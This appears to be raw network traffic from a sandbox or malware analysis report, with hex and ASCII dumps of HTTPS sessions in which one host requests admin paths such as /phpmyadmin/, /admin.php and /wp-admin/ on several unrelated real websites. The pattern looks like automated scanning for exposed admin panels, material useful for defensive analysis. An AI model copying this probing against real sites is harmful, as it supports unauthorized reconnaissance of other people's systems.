2023-12-20 02:13:32 UTC	615	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 33 32 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:32 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 33 63 64 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cdf<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 36 34 34 65 35 31 32 38 37 65 37 63 32 39 33 36 35 38 37 30 33 61 32 34 34 35 36 36 33 38 37 30 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"644e51287e7c293658703a2445663870",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 36 34 34 65 35 31 32 38 37 65 37 63 32 39 33 36 35 38 37 30 33 61 32 34 34 35 36 36 33 38 37 30 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="644e51287e7c293658703a2445663870"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.4	61762	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	179	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:32 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:32 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:32 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:32 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:32 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:32 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: %2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.4	61819	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	329	OUT	GET /admin.php HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_VxGOsshgLr3LfFZzFgVpCkurPxnxZ6av2h0Oh0E9MRLzhidO3f8H//nZQ7AV7lvxZQ/TOEX5HkOj3ueq+KI0vw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.4	61866	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	207	OUT	GET /phpmyadmin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:32 GMT Connection: close
2023-12-20 02:13:32 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.4	61989	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	239	OUT	GET /wp-admin/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.geoffreynolds.com.au/wp-login.php
2023-12-20 02:13:32 UTC	580	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:32 GMT X-Served-By: cache-pdk-kfty2130054-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038413.594746,VS0,VE40 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:32 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 